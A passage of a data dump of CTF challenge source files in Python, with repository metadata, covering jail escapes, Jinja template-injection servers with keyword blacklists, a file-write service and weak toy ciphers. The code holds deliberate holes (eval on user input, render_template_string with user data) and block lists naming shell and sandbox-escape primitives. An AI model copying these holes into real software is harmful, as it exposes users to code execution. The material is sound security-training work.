if bidda["name"] == name:
return env.get_template("inspect_bidda.html").render(env=env, bidda=bidda)
return env.get_template("inspect_bidda.html").render(env=env, name=name)
else:
return env.get_template("send_bidda.html").render()
if __name__ == "__main__":
prepareTemplates()
app.run("0.0.0.0", port=5000)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2025/misc/Another_Impossible_Escape/chall.py | ctfs/Srdnlen/2025/misc/Another_Impossible_Escape/chall.py | #!/usr/bin/env python3
import sys
import re
BANNER = r"""
############################################################
# _ _ _ #
# / \ _ __ ___ | |_| |__ ___ _ __ #
# / _ \ | '_ \ / _ \| __| '_ \ / _ \ '__| #
# / ___ \| | | | (_) | |_| | | | __/ | #
# /_/ \_\_| |_|\___/ \__|_| |_|\___|_| #
# ___ _ _ _ #
# |_ _|_ __ ___ _ __ ___ ___ ___(_) |__ | | ___ #
# | || '_ ` _ \| '_ \ / _ \/ __/ __| | '_ \| |/ _ \ #
# | || | | | | | |_) | (_) \__ \__ \ | |_) | | __/ #
# |___|_| |_| |_| .__/ \___/|___/___/_|_.__/|_|\___| #
# _____ |_| #
# | ____|___ ___ __ _ _ __ ___ #
# | _| / __|/ __/ _` | '_ \ / _ \ #
# | |___\__ \ (_| (_| | |_) | __/ (Author: @uNickz) #
# |_____|___/\___\__,_| .__/ \___| #
# |_| #
# #
############################################################
"""
FLAG = "srdnlen{fake_flag}"
del FLAG
class IE:
def __init__(self) -> None:
print(BANNER)
print("Welcome to another Impossible Escape!")
print("This time in a limited edition! More information here:", sys.version)
self.try_escape()
return
def code_sanitizer(self, dirty_code: str) -> str:
if len(dirty_code) > 60:
print("Code is too long. Exiting.")
exit()
if not dirty_code.isascii():
print("Alien material detected... Exiting.")
exit()
banned_letters = ["m", "w", "f", "q", "y", "h", "p", "v", "z", "r", "x", "k"]
banned_symbols = [" ", "@", "`", "'", "-", "+", "\\", '"', "*"]
banned_words = ["input", "self", "os", "try_escape", "eval", "breakpoint", "flag", "system", "sys", "escape_plan", "exec"]
if any(map(lambda c: c in dirty_code, banned_letters + banned_symbols + banned_words)):
print("Are you trying to cheat me!? Emergency exit in progress.")
exit()
limited_items = {
".": 1,
"=": 1,
"(": 1,
"_": 4,
}
for item, limit in limited_items.items():
if dirty_code.count(item) > limit:
print("You are trying to break the limits. Exiting.")
exit()
cool_code = dirty_code.replace("\\t", "\t").replace("\\n", "\n")
return cool_code
def escape_plan(self, gadgets: dict = {}) -> None:
self.code = self.code_sanitizer(input("Submit your BEST Escape Plan: ").lower())
return eval(self.code, {"__builtins__": {}}, gadgets)
def try_escape(self) -> None:
tries = max(1, min(7, int(input("How many tries do you need to escape? "))))
for _ in range(tries):
self.escape_plan()
return
if __name__ == "__main__":
with open(__file__, "r") as file_read:
file_data = re.sub(r"srdnlen{.+}", "srdnlen{REDATTO}", file_read.read(), 1)
with open(__file__, "w") as file_write:
file_write.write(file_data)
IE() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2025/crypto/Confusion/chall.py | ctfs/Srdnlen/2025/crypto/Confusion/chall.py | #!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os
# Local imports
FLAG = os.getenv("FLAG", "srdnlen{REDACTED}").encode()
# Server encryption function
def encrypt(msg, key):
pad_msg = pad(msg, 16)
blocks = [os.urandom(16)] + [pad_msg[i:i + 16] for i in range(0, len(pad_msg), 16)]
b = [blocks[0]]
for i in range(len(blocks) - 1):
tmp = AES.new(key, AES.MODE_ECB).encrypt(blocks[i + 1])
b += [bytes(j ^ k for j, k in zip(tmp, blocks[i]))]
c = [blocks[0]]
for i in range(len(blocks) - 1):
c += [AES.new(key, AES.MODE_ECB).decrypt(b[i + 1])]
ct = [blocks[0]]
for i in range(len(blocks) - 1):
tmp = AES.new(key, AES.MODE_ECB).encrypt(c[i + 1])
ct += [bytes(j ^ k for j, k in zip(tmp, c[i]))]
return b"".join(ct)
KEY = os.urandom(32)
print("Let's try to make it confusing")
flag = encrypt(FLAG, KEY).hex()
print(f"|\n| flag = {flag}")
while True:
print("|\n| ~ Want to encrypt something?")
msg = bytes.fromhex(input("|\n| > (hex) "))
plaintext = pad(msg + FLAG, 16)
ciphertext = encrypt(plaintext, KEY)
print("|\n| ~ Here is your encryption:")
print(f"|\n| {ciphertext.hex()}")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2025/crypto/Based_sbox/server.py | ctfs/Srdnlen/2025/crypto/Based_sbox/server.py | import os, xoflib, functools, signal
def sbox(x, n=64):
mods = {64: 0x1b, 128: 0x87}
mod = mods[n]
def mul(a, b, n=64):
r = 0
for i in range(n):
r <<= 1
if r & (1 << n):
r ^= (1 << n) | mod
if a & (1 << (n - 1 - i)):
r ^= b
return r
def pow(x, e, n=64):
if e < 0:
raise ValueError("e must be non-negative")
if e == 0:
return 1
if e == 1:
return x
r = pow(x, e >> 1)
r = mul(r, r, n=n)
if e & 1:
r = mul(r, x, n=n)
return r
return (pow(x, (1 << n) - 2) ^ 0x01d_5b ^ 0x_15_ba5ed) & ((1 << n) - 1)
class Feistel:
def __init__(self, key: bytes, rounds=10, block_size=16) -> None:
assert len(key) == block_size // 2
assert block_size % 2 == 0
self._rounds = rounds
self._block_size = block_size
self._expand_key(key)
@staticmethod
def xor(a: bytes, b: bytes) -> bytes:
return bytes(x ^ y for x, y in zip(a, b))
@staticmethod
def _pad(m: bytes, n: int) -> bytes:
x = n - len(m) % n
return m + bytes([x] * x)
@staticmethod
def _unpad(m: bytes, n: int) -> bytes:
x = m[-1]
if not 1 <= x <= n:
raise ValueError("invalid padding")
return m[:-x]
def _expand_key(self, key: bytes) -> None:
share_xof = xoflib.shake256(key)
shares = [share_xof.read(self._block_size // 2) for _ in range(self._rounds - 1)]
shares.append(self.xor(functools.reduce(self.xor, shares), key))
self._round_keys = [int.from_bytes(share, "big") for share in shares]
assert len(self._round_keys) == self._rounds
def _f(self, l: int, r: int, key: int) -> int:
return l ^ sbox(r ^ key, n=self._block_size * 4)
def _encrypt_block(self, pt: bytes) -> bytes:
assert len(pt) == self._block_size
l, r = int.from_bytes(pt[:self._block_size // 2], "big"), int.from_bytes(pt[self._block_size // 2:], "big")
for i in range(self._rounds):
l, r = r, self._f(l, r, self._round_keys[i])
ct = l.to_bytes(self._block_size // 2, "big") + r.to_bytes(self._block_size // 2, "big")
return ct
def _decrypt_block(self, ct: bytes) -> bytes:
assert len(ct) == self._block_size
l, r = int.from_bytes(ct[:self._block_size // 2], "big"), int.from_bytes(ct[self._block_size // 2:], "big")
for i in reversed(range(self._rounds)):
l, r = self._f(r, l, self._round_keys[i]), l
pt = l.to_bytes(self._block_size // 2, "big") + r.to_bytes(self._block_size // 2, "big")
return pt
def encrypt(self, pt: bytes) -> bytes:
pt = self._pad(pt, self._block_size)
ct = os.urandom(self._block_size)
for i in range(0, len(pt), self._block_size):
ct += self._encrypt_block(self.xor(pt[i:i + self._block_size], ct[-self._block_size:]))
return ct
def decrypt(self, ct: bytes) -> bytes:
if len(ct) % self._block_size != 0:
raise ValueError("ciphertext length must be a multiple of block size")
pt = b""
for i in range(0, len(ct) - self._block_size, self._block_size):
pt += self.xor(self._decrypt_block(ct[i + self._block_size:i + self._block_size * 2]), ct[i:i + self._block_size])
return self._unpad(pt, self._block_size)
if __name__ == "__main__":
signal.alarm(240)
key = os.urandom(8)
cipher = Feistel(key, rounds=7, block_size=16)
pt = ( # ChatGPT cooked a story for us
"Once upon a time, after linear and differential cryptanalysis had revolutionized the cryptographic landscape, "
"and before Rijndael was selected as the Advanced Encryption Standard (AES), the field of cryptography was in a unique state of flux. "
"New cryptanalytic methods exposed vulnerabilities in many established ciphers, casting doubt on the long-term security of systems "
"once thought to be invulnerable. In response, the U.S. National Institute of Standards and Technology (NIST) "
"launched a competition to find a successor to the aging DES. In 2000, Rijndael was chosen, setting a new standard for secure encryption. "
"But even as AES became widely adopted, new challenges, like quantum computing, loomed on the horizon."
).encode()
ct = cipher.encrypt(pt)
print(ct.hex())
guess = bytes.fromhex(input("guess: "))
if guess == key:
flag = os.getenv("FLAG", "srdnlen{this_is_a_fake_flag}")
print(flag)
else:
print("srdnlen{wrong_guess}")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2022/crypto/Fancy_e/fancy_e.py | ctfs/Srdnlen/2022/crypto/Fancy_e/fancy_e.py | #!/usr/bin/env python3
import random
import string
from Crypto.Util.number import getPrime, bytes_to_long
def flag_padding(flag):
s = string.ascii_lowercase + string.ascii_uppercase + string.digits
for i in range(random.randint(5, 10)):
flag = random.choice(s) + flag + random.choice(s)
return flag
def fancy_e(b, x, y):
rand1 = random.randint(1, 5)
rand2 = random.randint(1, 5)
rand3 = random.randint(1, 5)
op1 = random.choice([-1, 1])
op2 = random.choice([-1, 1])
op3 = random.choice([-1, 1])
e = b + (op1 * rand1)
f = x * y + op2 * rand2 * y + op3 * rand3 * x + 1
k = rand1 + rand2 + rand3
new_e = (e * f * k + 1) | 1
assert pow(new_e, -1, (x - 1) * (y - 1))
return new_e
flag = open('flag.txt', 'r').read()
flag = flag_padding(flag)
base = int(open('base.txt', 'r').read())
assert 300 < base < 1000
disclaimer = "Tired of using e = 65537? Would you prefer a more stylish and original e to encrypt your message?\n" \
"Try my new software then! It is free, secure and sooooo cool\n" \
"Everybody will envy your fancy e\n" \
"You can have a look to up to 1000 flags encrypted with my beautiful e and " \
"choose the one you like the most\n" \
"How many do you want to see?"
print(disclaimer)
number = int(input("> "))
if number < 1 or number > 1000:
print("I said up to 1000! Pay for more")
exit(1)
print()
i = 0
while i < number:
p = getPrime(256)
q = getPrime(256)
n = p * q
try:
e = fancy_e(base, p, q)
ct = pow(bytes_to_long(flag.encode()), e, n)
print("Ciphertext"+str(i)+"= " + str(ct))
print("e"+str(i)+"= " + str(e))
print("Modulus"+str(i)+"= " + str(n))
print()
i += 1
except:
continue
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2022/crypto/EasyRSA/easyrsa.py | ctfs/Srdnlen/2022/crypto/EasyRSA/easyrsa.py | #!/usr/bin/env python3
from Crypto.Util.number import getPrime, bytes_to_long
def padding(text, n):
for j in range(n % 2**8):
text += b"poba"
return bytes_to_long(text)
if __name__ == '__main__':
f = open('flag.txt', 'r').read().encode()
e = 13
print("Can u break the best encryption tool of the world?")
print()
nums = []
for i in range(15):
x, y = getPrime(16), getPrime(16)
print(f"x*y:{x * y}")
k = int(input("Give me a number:"))
if k < 2 ** 128 or k in nums or k % (x * y) == 0:
print("Are u serious?")
exit(1)
r = int(input("Give me another number:"))
if r < 2 ** 128 or r in nums:
print("Are u serious?")
exit(1)
nums += [k, r]
print()
N = getPrime(512) * getPrime(512)
CT = pow(padding(f, pow(k, r, x * y)), e, N)
print(f"e:{e}")
print(f"N:{N}")
print(f"CT:{CT}")
print()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2022/crypto/GiveMeABag/givemeabag.py | ctfs/Srdnlen/2022/crypto/GiveMeABag/givemeabag.py | from random import randint
from math import gcd
from secret import FLAG
BIN_LEN = 240
class MHK:
def __init__(self):
self.b = []
self.w = []
self.q = 0
self.r = 0
self.genKeys()
def genKeys(self):
k = 30
self.w.append(randint(1,2**(k//2)))
sum = self.w[0]
for i in range(1, BIN_LEN):
self.w.append(sum + randint(1, 2**k))
sum += self.w[i]
self.q = sum + randint(1, 2**k)
while True:
self.r = sum + randint(1, 2**k)
if gcd(self.r,self.q) == 1:
break
for i in range(BIN_LEN):
self.b.append((self.w[i]*self.r)%self.q)
def encrypt(self, plaintext):
msgBin = ''.join('{:08b}'.format(b) for b in plaintext.encode('utf8'))
if len(msgBin) < BIN_LEN:
msgBin = msgBin.zfill(BIN_LEN)
ciphertext = 0
for i in range(len(msgBin)):
ciphertext += self.b[i]*int(msgBin[i],2)
return str(ciphertext)
def decrypt(self, ciphertext):
plaintext = ''
ciphertext = int(ciphertext)
new_ciphertext = (ciphertext* pow(self.r,-1,self.q) )%self.q
for i in range(len(self.w)-1,-1,-1):
if self.w[i] <= new_ciphertext:
new_ciphertext -= self.w[i]
plaintext += '1'
else:
plaintext += '0'
return int(plaintext[::-1], 2).to_bytes((len(plaintext) + 7) // 8, 'big').decode()
if __name__ == "__main__":
crypto = MHK()
encrypted = crypto.encrypt(FLAG)
file=open('./output.txt','w+')
file.writelines('b = '+ str(crypto.b))
file.writelines('\nw = '+ str(crypto.w[:2]))
file.writelines('\nc = '+ str(encrypted))
file.close()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2022/crypto/OneFlagPadding/oneflagpadding.py | ctfs/Srdnlen/2022/crypto/OneFlagPadding/oneflagpadding.py | #!/usr/bin/env python3
import random
import string
from Crypto.Util.number import getPrime, bytes_to_long
def flag_padding(flag):
s = string.ascii_lowercase + string.ascii_uppercase + string.digits
for i in range(random.randint(5, 10)):
flag = random.choice(s) + flag + random.choice(s)
return flag
def message_padding(message, flag):
return message + flag
flag = open("flag.txt", "r").read()
flag = flag_padding(flag)
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 7
encrypted_flag = pow(bytes_to_long(flag.encode()), e, n)
print("This is the flag: ", encrypted_flag)
print("Give any message you want, I will pad it with my special flag and encrypt it")
msg = input("> ")
if len(msg) < 10:
print("Message to small, you are not gonna trick me")
exit()
final_msg = message_padding(msg, flag)
ct = pow(bytes_to_long(final_msg.encode()), e, n)
print("Here is your ciphertext")
print("e: ", e)
print("n: ", n)
print("enc_message: ", ct)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DeconstruCT.F/2021/crypto/Code_Decode/encrypter.py | ctfs/DeconstruCT.F/2021/crypto/Code_Decode/encrypter.py | from random import choice
inputstring = input("Enter plaintext: ")
def read_encryption_details():
with open("cypher.txt") as file:
encrypt_text = eval(file.read())
encrypt_key = choice(list(encrypt_text.keys()))
character_key = encrypt_text[encrypt_key]
return encrypt_key, character_key
def create_encryption(character_key):
charstring = "abcdefghijklmnopqrstuvwxyz1234567890 _+{}-,.:"
final_encryption = {}
for i, j in zip(charstring, character_key):
final_encryption[i] = j
return final_encryption
def convert_plaintext_to_cypher(inputstring, final_encryption, encrypt_key):
cypher_text = ""
for i in inputstring:
cypher_text += final_encryption[i]
cypher_text = encrypt_key[:3] + cypher_text + encrypt_key[3:]
return cypher_text
encrypt_key, character_key = read_encryption_details()
final_encryption = create_encryption(character_key)
cypher_text = convert_plaintext_to_cypher(
inputstring, final_encryption, encrypt_key)
print(cypher_text)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2024/misc/Addition/server.py | ctfs/n00bzCTF/2024/misc/Addition/server.py | import time
import random
questions = int(input("how many questions do you want to answer? "))
for i in range(questions):
a = random.randint(0, 10)
b = random.randint(0, 10)
yourans = int(input("what is " + str(a) + ' + ' + str(b) + ' = '))
print("calculating")
totaltime = pow(2, i)
print('.')
time.sleep(totaltime / 3)
print('.')
time.sleep(totaltime / 3)
print('.')
time.sleep(totaltime / 3)
if yourans != a + b:
print("You made my little brother cry π")
exit(69)
f = open('/flag.txt', 'r')
flag = f.read()
print(flag[:questions])
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2024/misc/WaaS/chall.py | ctfs/n00bzCTF/2024/misc/WaaS/chall.py | import subprocess
from base64 import b64decode as d
while True:
print("[1] Write to a file\n[2] Get the flag\n[3] Exit")
try:
inp = int(input("Choice: ").strip())
except:
print("Invalid input!")
exit(0)
if inp == 1:
file = input("Enter file name: ").strip()
assert file.count('.') <= 2 # Why do you need more?
assert "/proc" not in file # Why do you need to write there?
assert "/bin" not in file # Why do you need to write there?
assert "\n" not in file # Why do you need these?
assert "chall" not in file # Don't be overwriting my files!
try:
f = open(file,'w')
except:
print("Error! Maybe the file does not exist?")
f.write(input("Data: ").strip())
f.close()
print("Data written sucessfully!")
if inp == 2:
flag = subprocess.run(["cat","fake_flag.txt"],capture_output=True) # You actually thought I would give the flag?
print(flag.stdout.strip())
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2024/misc/Subtraction/server.py | ctfs/n00bzCTF/2024/misc/Subtraction/server.py | import random
n = 696969
a = []
for i in range(n):
a.append(random.randint(0, n))
a[i] -= a[i] % 2
print(' '.join(list(map(str, a))))
for turns in range(20):
c = int(input())
for i in range(n):
a[i] = abs(c - a[i])
if len(set(a)) == 1:
print(open('/flag.txt', 'r').read())
break
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2024/ppc/Back_From_Brazil/redacted.py | ctfs/n00bzCTF/2024/ppc/Back_From_Brazil/redacted.py | import random, time
def solve(eggs):
redactedscript = """
β β βββββββββ
ββ β ββ
βββ β ββ βββββββββ
ββββββββββββββ β ββ
ββββββββ β ββββββββββ
βββ β ββ βββββββββ
βββ β ββ βββββββββ
ββ β ββ β βββ β ββ ββ
ββββββββ
ββ β ββ ββ
ββββββββ β ββββ β βββββ
ββ β ββ ββ
ββββββββ β βββββββββββββ βββββββ β βββ
ββββββββ ββ ββββββββββ
ββββββ ββββββββββ
"""
return sum([ord(c) for c in redactedscript])
n = 1000
start = time.time()
for _ in range(10):
eggs = []
for i in range(n):
row = []
for j in range(n):
row.append(random.randint(0, 696969))
print(row[j], end=' ')
eggs.append(row)
print()
solution = solve(eggs)
print("optimal: " + str(solution) + " π₯")
inputPath = input()
inputAns = eggs[0][0]
x = 0
y = 0
for direction in inputPath:
match direction:
case 'd':
x += 1
case 'r':
y += 1
case _:
print("π€")
exit()
if x == n or y == n:
print("out of bounds")
exit()
inputAns += eggs[x][y]
if inputAns < solution:
print(inputAns)
print("you didn't find enough π₯")
exit()
elif len(inputPath) < 2 * n - 2:
print("noooooooooooooooo, I'm still in Brazil")
exit()
if int(time.time()) - start > 60:
print("you ran out of time")
exit()
print("tnxs for finding all my π₯")
f = open("/flag.txt", "r")
print(f.read())
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2024/ppc/Sillygoose/sillygoose.py | ctfs/n00bzCTF/2024/ppc/Sillygoose/sillygoose.py | from random import randint
import time
ans = randint(0, pow(10, 100))
start_time = int(time.time())
turns = 0
while True:
turns += 1
inp = input()
if int(time.time()) > start_time + 60:
print("you ran out of time you silly goose")
break
if "q" in inp:
print("you are no fun you silly goose")
break
if not inp.isdigit():
print("give me a number you silly goose")
continue
inp = int(inp)
if inp > ans:
print("your answer is too large you silly goose")
elif inp < ans:
print("your answer is too small you silly goose")
else:
print("congratulations you silly goose")
f = open("/flag.txt", "r")
print(f.read())
if turns > 500:
print("you have a skill issue you silly goose")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2024/crypto/Vinegar_2/chall.py | ctfs/n00bzCTF/2024/crypto/Vinegar_2/chall.py | alphanumerical = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*(){}_?'
matrix = []
for i in alphanumerical:
matrix.append([i])
idx=0
for i in alphanumerical:
matrix[idx][0] = (alphanumerical[idx:len(alphanumerical)]+alphanumerical[0:idx])
idx += 1
flag=open('../src/flag.txt').read().strip()
key='5up3r_s3cr3t_k3y_f0r_1337h4x0rs_r1gh7?'
assert len(key)==len(flag)
flag_arr = []
key_arr = []
enc_arr=[]
for y in flag:
for i in range(len(alphanumerical)):
if matrix[i][0][0]==y:
flag_arr.append(i)
for y in key:
for i in range(len(alphanumerical)):
if matrix[i][0][0]==y:
key_arr.append(i)
for i in range(len(flag)):
enc_arr.append(matrix[flag_arr[i]][0][key_arr[i]])
encrypted=''.join(enc_arr)
f = open('enc.txt','w')
f.write(encrypted)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2024/web/Passwordless/app.py | ctfs/n00bzCTF/2024/web/Passwordless/app.py | #!/usr/bin/env python3
from flask import Flask, request, redirect, render_template, render_template_string
import subprocess
import urllib
import uuid
global leet
app = Flask(__name__)
flag = open('/flag.txt').read()
leet=uuid.UUID('13371337-1337-1337-1337-133713371337')
@app.route('/',methods=['GET','POST'])
def main():
global username
if request.method == 'GET':
return render_template('index.html')
elif request.method == 'POST':
username = request.values['username']
if username == 'admin123':
return 'Stop trying to act like you are the admin!'
uid = uuid.uuid5(leet,username) # super secure!
return redirect(f'/{uid}')
@app.route('/<uid>')
def user_page(uid):
if uid != str(uuid.uuid5(leet,'admin123')):
return f'Welcome! No flag for you :('
else:
return flag
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2023/crypto/MaaS/chall.py | ctfs/n00bzCTF/2023/crypto/MaaS/chall.py | #!/usr/bin/python3
import random
from Crypto.Util.number import *
flag = open('flag.txt').read()
alpha = 'abcdefghijklmnopqrstuvwxyz'.upper()
to_guess = ''
for i in range(16):
to_guess += random.choice(alpha)
for i in range(len(to_guess)):
for j in range(3):
inp = int(input(f'Guessing letter {i}, Enter Guess: '))
guess = inp << 16
print(guess % ord(to_guess[i]))
last_guess = input('Enter Guess: ')
if last_guess == to_guess:
print(flag)
else:
print('Incorrect! Bye!')
exit() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2023/web/CaaS/server.py | ctfs/n00bzCTF/2023/web/CaaS/server.py | #!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib
app = Flask(__name__)
def blacklist(inp):
blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#']
for b in blacklist:
if b in inp:
return "Blacklisted word!"
if len(inp) <= 70:
return inp
if len(inp) > 70:
return "Input too long!"
@app.route('/')
def main():
return redirect('/generate')
@app.route('/generate',methods=['GET','POST'])
def generate_certificate():
if request.method == 'GET':
return render_template('generate_certificate.html')
elif request.method == 'POST':
name = blacklist(request.values['name'])
teamname = request.values['team_name']
return render_template_string(f'<p>Haha! No certificate for {name}</p>')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=52130)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2023/web/Conditions/server.py | ctfs/n00bzCTF/2023/web/Conditions/server.py | from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib
flag = open('flag.txt').read()
app = Flask(__name__)
@app.route('/')
def main():
return redirect('/login')
@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
if len(request.values["username"]) >= 40:
return render_template_string("Username is too long!")
elif len(request.values["username"].upper()) <= 50:
return render_template_string("Username is too short!")
else:
return flag
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2023/web/CaaS2/server.py | ctfs/n00bzCTF/2023/web/CaaS2/server.py | #!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import urllib
app = Flask(__name__)
def blacklist(inp):
blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#','eval','for','while','f','d','k','h','headers',' ','open','call','subprocesses','g','.t','g.']
for b in blacklist:
if b in inp:
print(b)
return "Blacklisted word!"
if len(inp) <= 70:
return inp
if len(inp) > 70:
return "Input too long!"
@app.route('/')
def main():
return redirect('/generate')
@app.route('/generate',methods=['GET','POST'])
def generate_certificate():
if request.method == 'GET':
return render_template('generate_certificate.html')
elif request.method == 'POST':
name = blacklist(request.values['name'])
return render_template_string(f'<p>Haha! No certificate for {name}</p>')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=49064)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/QUESTCON/2024/rev/Twice_the_Trouble/magnitude.py | ctfs/QUESTCON/2024/rev/Twice_the_Trouble/magnitude.py | import math
import random
def xor_encrypt_decrypt(input_str, key):
return ''.join(chr(ord(c) ^ key) for c in input_str)
def get_flag():
# XOR-encoded flag
encoded_flag = [92, 88, 72, 94, 89, 78, 66, 67, 118, 105, 61, 120, 111, 97, 62, 82, 121, 127, 61, 120, 111, 97, 62, 112]
key = 13 # XOR key used for encoding
flag = ''.join(chr(c ^ key) for c in encoded_flag)
return flag
# Function to compare the magnitude of two numbers
def compare_numbers(num1, num2):
if math.sqrt(num1**2) == 2 * abs(num2):
print("The magnitude of the first number is exactly twice the magnitude of the second!")
return True
else:
print("One of the numbers has a larger magnitude.")
return False
def main():
junk = [random.randint(1, 100) for _ in range(10)]
try:
num1 = float(input("Enter the first number: "))
num2 = float(input("Enter the second number: "))
# Compare numbers and reveal flag if the condition is met
if compare_numbers(num1, num2):
print(f"Congratulations! Here's the flag: {get_flag()}")
else:
print("Try again with different numbers.")
except ValueError:
print("Please enter valid numbers.")
if __name__ == "__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/QUESTCON/2024/rev/Unlock_the_Encrypted_Flag/encrypted.flag.py | ctfs/QUESTCON/2024/rev/Unlock_the_Encrypted_Flag/encrypted.flag.py | ### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
def str_xor(secret, key):
new_key = key
i = 0
while len(new_key) < len(secret):
new_key = new_key + key[i]
i = (i + 1) % len(key)
return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c, new_key_c) in zip(secret, new_key)])
###############################################################################
flag_enc = open('flag.txt.enc', 'rb').read()
def level_1_pw_check():
user_pw = input("Please enter correct password for flag: ")
pw_parts = ["ak98", "-=90", "adfjhgj321", "sleuth9000"]
obfuscated_pw = "".join(pw_parts)
if (user_pw.startswith("ak") and user_pw.endswith("9000")) and \
(len(user_pw) == len(obfuscated_pw)):
print("Welcome back... your flag, user:")
